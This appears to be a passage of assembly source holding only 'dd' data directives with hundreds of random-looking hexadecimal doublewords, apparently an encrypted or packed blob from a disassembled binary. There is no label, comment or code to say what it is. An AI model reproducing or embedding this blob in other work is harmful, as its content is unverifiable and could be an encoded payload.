		dd 33BEAFEDh, 0C2036463h, 0CED586ACh, 5AC559D2h, 0A756B11h
		dd 0DD1CBCB0h, 87CF6061h, 0A6949D56h, 0B5856821h, 62EF3D21h
		dd 0EEBF7F17h, 16A06073h, 571EF6A2h, 9B186940h,	78093613h
		dd 0E4695299h, 0D8155E00h, 0A03A34A5h, 940B8010h, 2CC33DC0h
		dd 0BCEB2E38h, 13112811h, 0B8BC2CD0h, 0F0890A12h, 58DD5EDh
		dd 0C13B0A4Fh, 0FE28893Ch, 3F5F0756h, 94CDEFCFh, 69AA4C05h
		dd 0C81120Ah, 84170AC6h, 4A31E0E3h, 4F2D063h, 0A99E2D9Ah
		dd 68333250h, 825328EBh, 3D7268Dh, 56CDFA4Dh, 44FBFC13h
		dd 0F2B7D8AFh, 0B5E45E75h, 40D090E3h, 0A2CA623Ch, 0CCCA66h
		dd 650F7017h, 56FAD496h, 16BE6194h, 9541D9BAh, 12704297h
		dd 0C97DFCEFh, 4657A91Ah, 5DED88C7h, 609A1F0Dh,	92F75F1Eh
		dd 24097812h, 94EF6BF1h, 15D666ADh, 5F9CF897h, 519B34F4h
		dd 14F17196h, 0E9D058F8h, 0C72D56EDh, 2172A30h,	62FF673h
		dd 0CA75228h, 8E8ADD69h, 0DAE7D08Bh, 15B98C45h,	32A227DEh
		dd 0C1C6D811h, 3FF5C240h, 9B3B1342h, 0C3BFE1D3h, 0CFFBD00Bh
		dd 6C0E4028h, 0EA52496h, 4F4F89D1h, 673E1EADh, 78716AF7h
		dd 24355081h, 19ACEDBFh, 2E6F3B97h, 0CBCA0DC7h,	5CE38BAEh
		dd 0E148C1E9h, 0D9E4A48Ah, 6D039FBFh, 1119C4B8h, 333EA6D4h
		dd 69FCFF16h, 0F1483DEEh, 0F4B1A40Fh, 532EBAEEh, 10DA5F41h
		dd 0BC16159Fh, 0AF0B9E5Bh, 55AC84E9h, 0FD7132A1h, 29F841B4h
		dd 3A911A8Fh, 0F1D39DD8h, 65B13A3Ch, 24AACB45h,	0DB089948h
		dd 9F3BAA13h, 555EB7C1h, 62ACFD6Eh, 5DA2FA3Ch, 65A9EC8Eh
		dd 3FBCADA1h, 0C3E0948Eh, 0C1CDBFA5h, 399E5420h, 84C2ACD9h
		dd 2C32946Dh, 4DE05E2Ah, 321EE375h, 23C8EC04h, 1E53E1A0h
		dd 0AD058FC6h, 0DF5A8F76h, 73C9334h, 0D3EB166Fh, 6C48BF80h
		dd 5AE358E0h, 79611342h, 0EDAEC305h, 5CF729Bh, 5858B0E2h
		dd 845C8180h, 197941B8h, 6193C689h, 3AA9241Fh, 0D7BE1B8Eh
		dd 0B980A765h, 0B68CCA64h, 0D96DE981h, 0C16A26C6h, 34394256h
		dd 91CCDE0Ch, 0AB5F227Bh, 146CAE8h, 0EE2725FBh,	0DF0AE487h
		dd 5C818BC9h, 0FB82B003h, 42EB5179h, 53D13752h,	543D9AC0h
		dd 1EEDF4B6h, 0D345B369h, 0DB6F87E1h, 0AF7F0B5Bh, 0A15FCE8Eh
		dd 5CCD90D3h, 0F0CA6498h, 0F72DD273h, 0C08B9DD4h, 82DCE498h
		dd 877C136h, 93BA2E5Fh,	7130163Ah, 4137FD3Fh, 2F98B7B3h
		dd 6F4A5873h, 72AD0CD9h, 0D99EEDCFh, 0B5DAE194h, 8BEFEE0Eh
		dd 0D5E686F6h, 4184E398h, 7090586Eh, 2E9854B8h,	0FC1097B7h
		dd 13F42005h, 0A6F4A2C9h, 4B2D4F63h, 0FD09409h,	0DCF3D9B9h
		dd 0BB32E5E8h, 0B5ADE68Dh, 0E5F74BEFh, 0C7FE3588h, 84B799ACh
		dd 0D100DBC1h, 0A3F5241Ah, 4FD567BDh, 0EE2F422Dh, 42BF02A6h
		dd 8827E024h, 251F6D16h, 77A05B98h, 10F7DF3Dh, 2250FD9Bh
		dd 0EB50E168h, 780ADD12h, 0F640459Bh, 6FCD8CD2h, 5A86FAD6h
		dd 2EA94CAAh, 7F5C96D6h, 442AABF9h, 0DF6F942Bh,	2D1A0B80h
		dd 57F5E05Ah, 0D25526C2h, 43D1088Fh, 0FE5E7CEFh, 0E4959CCDh
		dd 8686518h, 0E8BED196h, 6D1495B6h, 0F983A3CFh,	35DBD992h
		dd 405D734Fh, 8C0E0274h, 4C9E8E0Bh, 0CF0F7D6Ah,	58C7DE4Fh
		dd 0D9BA989Ah, 1D30CE8Dh, 6B93FF06h, 4FDD9E0Ch,	0DB300BFBh
		dd 0AF64E089h, 0E0A2371Bh, 0B69BDDh, 0EEC7BDCFh, 0BEBBE948h
		dd 6C89B0CEh, 3B279321h, 0D965B806h, 32492F46h,	0E248AD82h
		dd 0F4D92D69h, 6550977Bh, 0E4D452ACh, 28355928h, 0A7AECE13h
		dd 61938D3Eh, 2FD59E01h, 0E14DF6B4h, 8AB19AF2h,	0DE5BCA20h
		dd 5654D12Ch, 0EC9944C8h, 2F9D52A5h, 0DF51CD94h, 0B87C1DD2h
		dd 66B0B58Fh, 0C7BCF86Ah, 4D1F44DBh, 0C4348998h, 0AAFD9555h
		dd 8078AC12h, 607AB1AEh, 435BEDC8h, 2CAFABD5h, 0CA8A722Fh
		dd 27B85E47h, 8BCD167Eh, 0C2662223h, 5A587668h,	6886836Eh
		dd 9B2C2529h, 26A4DD34h, 0BC86CAC3h, 9DC7E5AFh,	5450AA55h
		dd 0A053F23Fh, 0D1B9BC4Bh, 643CB6C7h, 0FF5DB885h, 1FCB0C7Bh
		dd 0EBB45004h, 0A712FE1Dh, 94CD4A42h, 0BE487543h, 0D3A6099Dh
		dd 87E4FEA5h, 8C08046h,	4BBBB08Dh, 8E15ABC6h, 0A553D7B8h
		dd 2235C697h, 0B958821Eh, 0DA742AAAh, 5CA333C2h, 5D287147h
		dd 0F62339AFh, 0BEA8049Ah, 0E19535B6h, 0B3DA30CBh, 414B791h
		dd 0BF0328DBh, 68CE9F4Dh, 93969915h, 0C8D102BDh, 77012B12h
		dd 0B8C042EBh, 4BB5AEC8h
		dd 0FE504873h, 800D8957h, 5F2401ADh, 6FC2D0A3h,	524F90AEh
		dd 5B333913h, 0D6FAE5F6h, 847C07F6h, 921CE227h,	821CD2A9h
		dd 0C08A24EAh, 0B3BE7E85h, 43DC17ACh, 30389C5Eh, 580FA503h
		dd 4B4CEC54h, 0F5076F3Ah, 99C465F6h, 0E9EFE721h, 6229A7A5h
		dd 0C9C7EAD4h, 5199F985h, 0AB099783h, 68E9A4Eh,	0B6B5CF23h
		dd 0BE41F438h, 0F8EDFB9Ah, 57CEFE55h, 0B820614Dh, 7B88A4F3h
		dd 6C8917B6h, 6119543Eh, 160F3F4h, 0CB4EB8F6h, 53D8D8BAh
		dd 0E4C0FE24h, 2C87B944h, 7E06Fh, 0D076FE93h, 0E8D996D1h
		dd 0CBEA4329h, 5EF0C0D0h, 0FA479F8h, 0D46D97B3h, 2C5B7D69h
		dd 8F752E80h, 2E8F1289h, 660230Ah, 65977E51h, 0A173A90Ch
		dd 2BD5521Eh, 3C323653h, 9FED9E4Ch, 91D947A6h, 0F01B9AB7h
		dd 0FFC46D03h, 9B5F228Ah, 0F0D42B5Bh, 7C5FA8A7h, 0D6F626B4h
		dd 0D9062C35h, 0FC89F268h, 1147A27Ah, 0EEFED5A2h, 912B7B62h
		dd 59AF5A3h, 237E73F7h,	64C8BCE4h, 8D82AB69h, 0E2DF71F7h
		dd 153BCA3Fh, 98380FD9h, 628C7E1h, 0D0E6F172h, 1B4F65AAh
		dd 0A9A6CB70h, 21CBE1D5h, 2294569h, 6E75BDEAh, 0A373C5FDh
		dd 6E0D4722h, 5CFE0B14h, 0DB242B8Ah, 45BD3840h,	0D5A3C9BFh
		dd 3C698385h, 0E44E17C6h, 96628C6Bh, 1D70B570h,	0C1BFB7ADh
		dd 0A8902C49h, 0F6EEB6F9h, 0E085D60Bh, 2C07DD2Fh, 0BEF94FAFh
		dd 5A23E2CCh, 46277F24h, 7AEE777Bh, 0A975BAA7h,	1587BDA8h
		dd 5234B7A0h, 4D960861h, 33D71792h, 0D2DD76B9h,	0DF51C82Dh
		dd 6135CE6Ch, 6A7A32EEh, 98D688ECh, 255DD0Ah, 566789E0h
		dd 21AB8435h, 0B949F05Dh, 61B9F881h, 464C37B2h,	0E9BC61B1h
		dd 93C12D42h, 0CD769DA6h, 238CFFBBh, 0A3267B21h, 0C2C9FE57h
		dd 64F6EFC7h, 65381F69h, 5EBAB19Ch, 98F826EAh, 0D4174D4Eh
		dd 6219DB97h, 98874920h, 5C9E901Ah, 0C2EBD2D6h,	661ED6CAh
		dd 0C0CE525h, 0DBDC71FFh, 741FA293h, 0BA8831B3h, 0A6171355h
		dd 0E923AD8Bh, 47652E05h, 0AB50D21Fh, 0D8A4DD30h, 1EA9DD48h
		dd 0F867E9FCh, 7E375C27h, 0EE5712B0h, 5E06F6E8h, 0B15539AAh
		dd 5D4315C8h, 0B820EF0h, 1190403Dh, 0E751F167h,	0F80B0BEAh
		dd 3ECF0D56h, 63D3CB62h, 0B7D380F8h, 700A00CEh,	75E24900h
		dd 0BE76E93Ah, 52F01800h, 68871513h, 0D9B3CBD8h, 5BF77A5Fh
		dd 2D3F2268h, 66AF5CE5h, 80E3B73Eh, 3FC256CBh, 2EE7BA56h
		dd 0D64E47C8h, 0F9BAC5D4h, 0D94DA17Dh, 95FDE7A0h, 0F391218Ah
		dd 91C23E34h, 7F7756C0h, 60F0E781h, 0D527CE8Eh,	51412C04h
		dd 3E426174h, 0AB35C904h, 0E5672B8Eh, 0A94BAh, 0BB53AA69h
		dd 3B0966D8h, 42B6D6B0h, 7B22A0EFh, 7466BF81h, 9C406777h
		dd 8B868A2Ch, 1813AB0Dh, 464406BCh, 0E2263177h,	34C38ED8h
		dd 9930FD7Ch, 0ECBC58B1h, 0A0F32B51h, 1BD63A63h, 896E2A65h
		dd 84A1EB24h, 30F674FCh, 1959034Ah, 8EE02F10h, 941ACC6Fh
		dd 0E249EA9Dh, 1BD8DD4Bh, 584838ECh, 13059661h,	85675E1Ah
		dd 0B6B3DAAAh, 0BC93B6C1h, 2D57B8DBh, 0F199EF77h, 0C8415376h
		dd 67BEF6D7h, 6BC5934Dh, 4B6DD5BDh, 0F9BFBE98h,	7CCBBE8Fh
		dd 278C59B6h, 0A46C9B16h, 8C10508Bh, 65F5D6A9h,	0E272A649h
		dd 11EDE54Ah, 30656EBBh, 63B1E559h, 7D24E07Dh, 778EF752h
		dd 3F421525h, 0F21DBC67h, 0B29F0A50h, 3B63ACBFh, 3C636567h
		dd 0AFA131B4h, 71226E13h, 9CD0FB80h, 0ED6DC9EFh, 73A56DE2h
		dd 2A2F91Ah, 8351AEA9h,	0BFD7C395h, 7873FF7h, 5701988Dh
		dd 2DD46BA9h, 397C8021h, 267474C3h, 56F64DADh, 278A9B8Ch
		dd 0DC7CF16Fh, 945F2856h, 2B494CAAh, 792A9A3Dh,	7C67624h
		dd 4C039F8Eh, 0AC723EB3h, 24AD2E1h, 0DA65C658h,	2C51D2Eh
		dd 87F5198Bh, 0E56A3BE9h, 97F9DC12h, 0CD390141h, 35DD9147h
		dd 0A86D98ACh, 0FA69A381h, 8278A42Fh, 8EC8C71Fh, 891AFDF1h
		dd 482067C5h, 4F2C1E8Ah, 7732F3A3h, 64057158h, 0FF909D61h
		dd 0E7077944h, 0F7ECA071h, 0D38047A0h, 8F359F41h, 0FFA7E0FDh
		dd 0A495E717h, 0B6A3298Dh, 69E3FADh, 55713C0Bh,	92E4A685h
		dd 63BB351h, 69F06548h,	42BBC022h, 4454AD70h, 498FC401h
		dd 0A9762FD2h, 2D36DB7Eh, 0CF039EC9h, 0D8D776F2h, 0F68FACCDh
		dd 33BF7B2Dh, 71413C40h, 0ECE2FFEAh, 0A2E1657Fh, 0D0212FD3h
		dd 9EBE1DEFh, 4E51383Dh, 42136C59h, 79F13B0Bh, 9A6ED69Bh
		dd 434E5ABBh, 80794FF7h, 0B1964613h, 31AD1806h,	143EC40Ch
		dd 3A7263FFh, 14B3CE52h, 0EF4357E6h, 3508DE0Eh,	0E9F91C17h
		dd 2CEF2B74h, 0E2A430EDh, 51C81272h, 0C4897A0Eh, 99B22555h
		dd 0E7F13FC4h, 2FAA6EDBh, 6E841DABh, 0ABAF871Bh, 2368A05Fh
		dd 3F40425Ah, 72A8B919h, 974B6492h, 97E13CB1h, 243B0799h
		dd 43DB9FE8h, 3F8C527Fh, 2F7D41E5h, 33908F93h, 0C52C72ABh
		dd 4BEFCA74h, 0CD9B9FFh, 6EA8A7B4h, 0E88BB8FBh,	974B55CAh
		dd 1EA56ECFh, 8AF47C55h, 2685BA5h, 4076B02Eh, 2BB32E8Ah
		dd 1BA62E67h, 907C3DD6h, 0B7AA3D36h, 0B95742A8h, 0B41DC095h
		dd 69A309CBh, 49B11633h, 43144D0Fh, 0FB1988Fh, 159781CAh
		dd 18610333h, 0B91FC4A2h, 41151156h, 2F3BB06Ah,	94373A4Ch
		dd 2F7400BEh, 0CBFC0EC7h, 1774C008h, 0D302618Ch, 0D2D482BCh
		dd 0B7EF8925h, 0E79E273Ah, 67A9869h, 4A8186F6h,	1AC05D20h
		dd 0F447C576h, 48F91E7Ch, 28A5B85h, 76C7E27h, 613B6FDDh
		dd 28140453h, 92DA4478h, 4F19B2E6h, 0BFDAEF08h,	9142A99Dh
		dd 0D648FEC6h, 9F818E2Ah, 79516AA5h, 0F3CB6E81h, 85CAE88Dh
		dd 0D04FCF6Bh, 72F3FE0Bh, 20826AA1h, 73F074A2h,	53225286h
		dd 0A256F878h, 6A2F0FE6h, 0DC5CD271h, 42692CC6h, 0CB2E4524h
		dd 0A9569463h, 5B742DC6h, 0EE57E149h, 0CBF1B8A8h, 9857A659h
		dd 0FBBB4A9Ah, 8BA763FAh, 253F8A9Dh, 0F60AFE0Bh, 5A5E605Ch
		dd 54169980h, 4A046323h, 538124B9h, 0C328EA2Eh,	0BFB8F3E4h
		dd 31FF38E8h, 7A3E0AC4h, 0E0ACD827h, 37589008h,	8129A434h
		dd 0B2E965AFh, 2B172DBDh, 0B5AAA94Fh, 397036D6h, 0D7916FBEh
		dd 0CEAE45C1h, 96576E28h, 14FD90B1h, 0FB56DB8h,	5AB7BD22h
		dd 0CF2637FFh, 1CC93FECh, 8F710E8Bh, 0C42A83CAh, 0AC3DA307h
		dd 87CB3C1Eh, 0A654CB63h, 23CDA3E0h, 6DD5AA4Fh,	0CDA704DAh
		dd 0D76409CEh, 911EE174h, 0FE9C29Fh, 93560AFAh,	6C330176h
		dd 4BFC38FBh, 0BED45CF6h, 74E3CADh, 8930D561h, 1C8CE5ACh
		dd 32ED5AD1h, 0A473331Eh, 241DA6F2h, 0D27B860h,	0F94096CAh
		dd 0C13A2036h, 0B82761AFh, 49567A16h, 5BDBA7DAh, 0B27A7257h
		dd 8D504B53h, 0A91A1207h, 1ECCF9F3h, 0E44CFBF9h, 0C00CAAFAh
		dd 0F89D5ABFh, 0E76F3576h, 0EFAAFF3Bh, 0F63C9CA8h, 0A1093DD9h
		dd 135E472Eh, 0D21C2D09h, 15A0AB66h, 25D013A2h,	0D05880F9h
		dd 48BA7D7Eh, 0C8D601B5h, 95A841D3h, 60FA5F57h,	8999FEDAh
		dd 0DF029BB2h, 75DF8E3Bh, 2EDF7546h, 0A890CEh, 0ECC2564Dh
		dd 0F2BB6A19h, 2FFCE63Eh, 0F86CD763h, 0C5C3F21Bh, 0AE752847h
		dd 4348028h, 338DB985h,	0DE866014h, 398C0C90h, 9F6C9480h
		dd 0B65243FBh, 210B127Fh, 824281E0h, 0D16F0A43h, 5B72895Ch
		dd 0C7D63EFh, 46BED00Fh, 57B04083h, 0DE3AABF9h,	0A70BFBC1h
		dd 996CE73h, 0BA70E7FEh, 0B35B3E7h, 9875FB0Bh, 2AADD64Dh
		dd 34F0E269h, 46FE3A31h, 4F877083h, 0ED253C4Fh,	5FAD5B34h
		dd 3BEA36A5h, 0A50902EFh, 8734D878h, 6DC0EE60h,	4C22DB8Fh
		dd 0AB2E45B6h, 84A5F460h
		dd 0EEC7283Bh, 0B604F918h, 0ABC12031h, 0B2C42FF1h, 0C11A966Bh
		dd 0A5027AE2h, 9E1C67A0h, 2F7D1045h, 0A8E754FDh, 6B790BA0h
		dd 56B04ADh, 63C823E6h,	0C051815Fh, 7823B604h, 0AB4785BCh
		dd 0BE96F8Ch, 0C0C17337h, 0D9B4833Dh, 0E78E0AA4h, 0AC27EE93h
		dd 11B2AC29h, 0AE3F8921h, 29F3C636h, 423B862Dh,	4B5EE250h
		dd 0A3A7A164h, 0C73B5C5Bh, 1ADB6EA8h, 7026E18Fh, 566935E6h
		dd 0D6CF2449h, 82A53352h, 601C609Eh, 9F797D48h,	0E8EC7647h
		dd 347A6B72h, 4425E42Ch, 8B7CD9E9h, 0A3DF2EB5h,	4DB4C2E8h
		dd 76207F50h, 0BF1399E1h, 6BB9842Dh, 0C5988B46h, 0FA18D6ADh
		dd 0C0161367h, 0DC2A105Eh, 0BA1CFD3Fh, 51CC2503h, 0A3EB69E9h
		dd 57CB997Fh, 522F3A01h, 0E76AFAD7h, 473F2831h,	0BE8FE713h
		dd 0DDF8FFC3h, 13B88B21h, 5BB67BB0h, 0A6B9C539h, 71E286E0h
		dd 9EEF5125h, 16AFADBBh, 1B1F39FEh, 0A1D41369h,	0E7A9C07Eh
		dd 0A16B827Ah, 714832EFh, 0AD2822A9h, 80164849h, 562FAAC2h
		dd 0D18CFCBh, 65942374h, 0F8B7BE02h, 1B86DD0Ch,	4C5C7C04h
		dd 8169FDAEh, 0C817E9A5h, 4A3E49A5h, 0B3FC952Ch, 813208A6h
		dd 0C788753Dh, 0E9145AF9h, 0CB5E3C97h, 0AD6296E4h, 86EA4FC3h
		dd 0D94CA150h, 3D7DED88h, 170D602Dh, 0B5BE3ED9h, 0EB2E66CDh
		dd 6F31E7EDh, 4C4B4D44h, 36D62A0Eh, 315293A1h, 0EF63A789h
		dd 0B95C72C1h, 0E75EC59Fh, 9D70E629h, 0E398B0B8h, 0B6EEA2Ch
		dd 0B17F4426h, 73F87219h, 8FD48024h, 35047B2Bh,	480F513Ch
		dd 2DA9BB31h, 88D84CF6h, 0A389C7D3h, 0D16982C4h, 613C7E3Ah
		dd 79249C2Dh, 0FF227197h, 0B584F020h, 0D3699CADh, 0B40144E1h
		dd 28403517h, 0B8B675CEh, 0D54D0DE5h, 19E3D9B6h, 0B2965DB6h
		dd 17549D20h, 6092ADC9h, 0D2CAA266h, 915845C1h,	21D54018h
		dd 4DC30112h, 1EC50BD9h, 4C264C96h, 0B467DEEh, 0BB3D7F95h
		dd 172AC9B7h, 0C7113F43h, 5CC61BCEh, 4462C475h,	9A9A5D3Eh
		dd 0E72533E4h, 0FA271A26h, 0EA19B0ACh, 5C239E25h, 5F81AB1Ch
		dd 1AED624Bh, 0ED4F4C6Bh, 0DC6FF763h, 5AD085B5h, 8F16F65Ch
		dd 53BE5B9Ah, 7103D17Ch, 17142CB5h, 6B851338h, 91F7073Bh
		dd 3EC1563Eh, 0BC2F108Eh, 43118E29h, 0B0898BE8h, 380F7F3Fh
		dd 0CD1B6DCFh, 0A19C345Dh, 0A8D4788Eh, 0D03CD0Eh, 287972ABh
		dd 60037E04h, 6F2FD7BEh, 0B768591Bh, 6D01B240h,	785B05CCh
		dd 6212E351h, 0E0F5E0F7h, 81BB978Bh, 0E4715721h, 45571AB0h
		dd 8BD50AAh, 65254B8Ch,	0CEC04BE9h, 0D1A7A6CFh,	0E6078F1Ah
		dd 0E8FCEA55h, 83199E55h, 0EDE06A57h, 87B1D463h, 4C6B302Ch
		dd 9BD6A586h, 0A6769306h, 0C46D5BA6h, 870D60Fh,	947182Fh
		dd 7C8AA00Fh, 122D5378h, 0CB9CA826h, 8D23839Eh,	713D07F2h
		dd 86C63C67h, 0E038675Dh, 0D766B977h, 9DD55E9Bh, 0DD945071h
		dd 64DA8EAh, 0D9C773E1h, 0B30B9FF3h, 78AFE5F9h,	0D1643E32h
		dd 5C623864h, 0F3B12A60h, 0C8020B0Bh, 0F049093Ch, 4D8EECC8h
		dd 2B21887Ch, 0E330DDEEh, 0E119A591h, 88D4AAB5h, 58204B58h
		dd 26007C9Fh, 0BD1D5378h, 8B775529h, 4ADC28C5h,	139AAA14h
		dd 7752FC67h, 2BD154B6h, 0D23755C1h, 4D2182B7h,	7DA333A9h
		dd 18A823B5h, 935A6C57h, 0E8F6AD02h, 0E6AEA2A5h, 0A5250626h
		dd 0A9EF3F5Bh, 26F652B1h, 76EE6939h, 0E20AF2CBh, 9094292Dh
		dd 3F87F497h, 0B3F8F9D9h, 0EAC6246Ah, 8620BB89h, 40CE60C9h
		dd 29CE80Ah, 60EAD742h,	0E7181BA9h, 1BD01C60h, 7C882668h
		dd 83A04268h, 0DEBAA022h, 3131F7C1h, 7E17DED8h,	0C813068Fh
		dd 0D5BDB26h, 1206C6A0h, 0BE52E5D7h, 5ED26F13h,	0D831E410h
		dd 32F3EF42h, 91E78684h, 4326A36Ah, 356B9A7Dh, 0C1DD2028h
		dd 0EC2959E6h, 0AB6C9E8Dh, 53DE651Dh, 152E2828h, 7EF05FFFh
		dd 0A80C44D3h, 982FC2E3h, 9D11BAB5h, 38954E22h,	0FABA0C8h
		dd 0D769DDFh, 7D5B2C72h, 0CCA2D502h, 35E696B8h,	0A8270C38h
		dd 96A3E9A0h, 3D5FF448h, 36AEA13Fh, 804E52DCh, 60948B09h
		dd 31F413C6h, 0A6494AB2h, 781EEE96h, 758F49F7h,	4C19DCB0h
		dd 0B33C6FE9h, 42E7C5D4h, 763784Ch, 1CF355CBh, 433C0A0Bh
		dd 0B8D8C6AAh, 2A1D8BF8h, 5582E7C8h, 444B5253h,	88FE4B72h
		dd 0AE26F7FCh, 8A96CA77h, 0E3CDA87Eh, 0FA20690Bh, 0EC26A24Bh
		dd 51B7DFD8h, 51A4E3DAh, 0A42C6001h, 0DB64DE7Fh, 0FCE91BF8h
		dd 6064A1E5h, 4B9C4EE0h, 5A018852h, 0B40DEA27h,	887E3B87h
		dd 38844070h, 27E87984h, 322867C1h, 0D67DA79Bh,	9C7C5D80h
		dd 0BCAF8B9Eh, 5A5829C3h, 155EC681h, 674EBB17h,	25137471h
		dd 0F99572F6h, 0F5046E11h, 0E7959341h, 0DBF444C0h, 868D3AA6h
		dd 0D725ED57h, 51AA79A6h, 0EEB08B5Ah, 0AC5F8B56h, 779278C2h
		dd 0B1EEB968h, 2B958B07h, 0FA2CF99Bh, 0AE6C59B0h, 1B304FDDh
		dd 5FA310Eh, 20BE9405h,	1B90939Eh, 0F7CB6A99h, 0B2F2D526h
		dd 0E6B8678Bh, 7ED04965h, 9AE0626h, 63FBE173h, 470931BDh
		dd 4936EE34h, 91E8A5ECh, 0F7C7933h, 48032037h, 0CBD3F1CDh
		dd 196933Fh, 37AF6448h,	0D7461035h, 32974174h, 3C30102Fh
		dd 0B1E4217Bh, 0C4F82F35h, 6480073Ah, 4523F12Ch, 959B1026h
		dd 457506BDh, 0C088DA0Eh, 1DE577EEh, 66E84B10h,	1541490Ah
		dd 0A0BB990Eh, 0D69E45FBh, 0C3EC8360h, 756698B6h, 0ACF15FFFh
		dd 0EDD614C2h, 9EDF6FD8h, 0BC155B12h, 39798555h, 724E905Ah
		dd 8243D9CBh, 4D7E5E2Ch, 388C412Dh, 0CA6C014Eh,	0BD7FFF3Bh
		dd 8B262C40h, 0CB7A77Ch, 651F3695h, 9C6FEFECh, 0A951DD5h
		dd 4BDF2720h, 16068CC6h, 0E93F8F7h, 0B6B806F2h,	0F68244D5h
		dd 616D9A12h, 0A09DA256h, 28B305C2h, 0BF72F206h, 0AC90C718h
		dd 33BA8153h, 619ECBA6h, 684D1295h, 0A8EA7700h,	0DBE151C0h
		dd 7EB952ABh, 0CA23BF77h, 0C2667CBCh, 9D5CCDCFh, 92D3B96h
		dd 4A6FB56Fh, 6F0CFF9Eh, 0CE178CD4h, 954B2DE8h,	864B1E0Ch
		dd 78BBB31Dh, 688B4696h, 0BE213483h, 257E993Ch,	29782AD4h
		dd 4D41FF1Eh, 2230A3E3h, 6215E627h, 0ED08A198h,	9B06955h
		dd 0BFFA240Eh, 0A83EEE30h, 4F93632Ah, 275B1B71h, 518A4229h
		dd 0D91E97Ah, 872E6FBEh, 0FAAA38D1h, 0A001B851h, 0C9B5BDE1h
		dd 0F402C0DAh, 0FB5FD120h, 5E800237h, 0F2B40110h, 0F079057Fh
		dd 2E3489FAh, 0C0220913h, 642D120Dh, 0F2840FB7h, 0CB947C1Fh
		dd 788E714Fh, 996AD315h, 4626EB7Eh, 4F95EE4Fh, 0E291788Fh
		dd 0DE73D10Fh, 81853E60h, 2313251Ch, 0AF967AEEh, 9551577h
		dd 8A65E486h, 0D6606A24h, 6167F303h, 8C0E4D7Ch,	4E588793h
		dd 0C0DE0A90h, 0B236595Fh, 0BF3A9773h, 377CC7EDh, 0D46F0917h
		dd 228B5025h, 47949D8Fh, 0AE81BD5h, 0C403885Ch,	5FB66FEAh
		dd 391C951Ah, 3F2D17B4h, 133BDC97h, 2C5EDCB7h, 6E6CEAECh
		dd 6BD08AF6h, 4DBD3E60h, 0B5ADDB27h, 8A027352h,	9181226Ch
		dd 4C30928Bh, 818121Dh,	48C280EEh, 5FFF8DB5h, 1A6D90C3h
		dd 0CCB1EB18h, 0C45FB2ADh, 0FBC3C3B3h, 7E1277F3h, 8B525FC5h
		dd 18AE1A47h, 23FA4062h, 75B2B4B4h, 0E2ED5038h,	23A70431h
		dd 9DA1E498h, 3CAE41E4h, 0F4C8E735h, 77BF24E7h,	50CC6AEAh
		dd 82C0FADBh, 70AB7554h, 0F078AE3Dh, 0D123C8D2h, 714FC268h
		dd 1B910E06h, 168964D6h, 0E082A99Bh, 24B400Fh, 193E7EBh
		dd 98F836C7h, 8EEB469Fh, 3B3B9758h, 0AD2DEA48h,	996BEE6Ah
		dd 776226DCh, 0A2BCFA8Fh, 0BB99323Ch, 0EC23708Ah, 7EA5F7B7h
		dd 533127B0h, 0AA5C09D9h
		dd 843A738Bh, 7566C7FFh, 0C2B37120h, 0EF7533DCh, 4D38D7EEh
		dd 4AD9A177h, 0A58C0066h, 0CB1538A7h, 4859962Ch, 563B7CFCh
		dd 169BCD37h, 26328794h, 0CC8D4687h, 0A3AF62BBh, 926E0ADFh
		dd 0D91C0667h, 1949344Ch, 91B836D3h, 8AE30C6Bh,	1D826F49h
		dd 0D54C7889h, 192C8C2Fh, 0C6D83FBAh, 0FE31066Dh, 7E0C3F4Ah
		dd 5A227DC3h, 0EDB798A9h, 35C31D79h, 91D73918h,	0C095192Ah
		dd 86B328B7h, 7A738A32h, 80135727h, 0AEB998E6h,	537A4BE9h
		dd 0FC3AE14Ah, 0A1AAC7CCh, 4BE2B700h, 0EAA31FB0h, 16F963E0h
		dd 0C5EAC383h, 57B9D08h, 86DC6E62h, 0A65E0754h,	89EAE84Eh
		dd 0CA7A338Eh, 0FD28ED47h, 860D1EB5h, 0B6511CF0h, 0B38F5472h
		dd 965B68E4h, 18D054A0h, 0AAFC2987h, 2C469526h,	8F4961DEh
		dd 0CFBE760Dh, 3A0F33A9h, 0FD4F9B43h, 37148C9h,	21F1405Dh
		dd 2E0E9906h, 490D70F2h, 9EFC1B1Ch, 0DD276F7Ah,	0E3BEAEE6h
		dd 70B5B131h, 0DAF439E6h, 0A9068819h, 4F30773Ah, 0F94C695Eh
		dd 0FAA34957h, 21A94ECAh, 34EF1A8Ch, 0FEE266ACh, 7B0570E6h
		dd 0F1C91F87h, 0C261F696h, 0BC3B126Ch, 112C9291h, 0BF91C653h
		dd 786DE9DFh, 9D297F0Dh, 636C56EDh, 4501086Ah, 0FA9B9BDBh
		dd 6A1CCC67h, 54C28054h, 0B7827A3Bh, 0B2FF5297h, 0A14F6005h
		dd 326DCF4h, 0A0D52427h, 2BAD060Ch, 448E1729h, 5594D4D3h
		dd 54E12FFh, 85A7EEA0h,	0BA817F0Eh, 0EA56CECFh,	0A0C89F5Ch
		dd 8DA5EAD6h, 52AE7B93h, 974D98A4h, 0E8887C4Ch,	0C17BD1BCh
		dd 727903C5h, 2FE9A818h, 0EE23DD60h, 0D21ACA0Bh, 2773E29Bh
		dd 0BD629475h, 0AFCBDE4h, 1C153D83h, 0E38598Dh,	37516D8Ah
		dd 94E6D404h, 34290F0h,	39B30E03h, 33DAE5B1h, 64691C03h
		dd 0DBD6D39Dh, 0C0CC9F9Ch, 59998419h, 31F7A3E5h, 0D7C9518Dh
		dd 5F04685Fh, 796BE98Bh, 0F279ABCAh, 0B8C14DEBh, 9B1D180Dh
		dd 26640C9Ch, 0B262140Dh, 3E7271CDh, 26E87973h,	0C5389111h
		dd 9C08306Ah, 9EBB6CA2h, 0F4CC567Ch, 0F0B32BFEh, 0EE0B00CAh
		dd 0E8D13869h, 0B15BF16Bh, 81F35C4Dh, 0C73DF1DAh, 7884E702h
		dd 242BB2DDh, 48601B1Bh, 0B6CFDE3Eh, 0FD8BB259h, 738003Bh
		dd 0CA3F3835h, 9AF48203h, 0D1F1321Dh, 9B286A4h,	4800A062h
		dd 58A64AE2h, 822DD498h, 94419921h, 0D45A59BEh,	0DDA15AC9h
		dd 0DE24FD5Ch, 0AC1D15EAh, 72F3AD9Bh, 6803638Dh, 0AEB917BCh
		dd 7B33A804h, 4D235AF6h, 0A16E1BDDh, 0ABC60327h, 1D5A151Dh
		dd 0E35C53B5h, 84A8C2CBh, 0C5FB532Fh, 73CF4AC4h, 7805F6B3h
		dd 95ABABB1h, 0ABF694F4h, 0D93F3582h, 0FF07A1A5h, 0EDB3D7CAh
		dd 5306103Bh, 0EE491FADh, 4BA06278h, 0BCCD984Bh, 0E16A59B7h
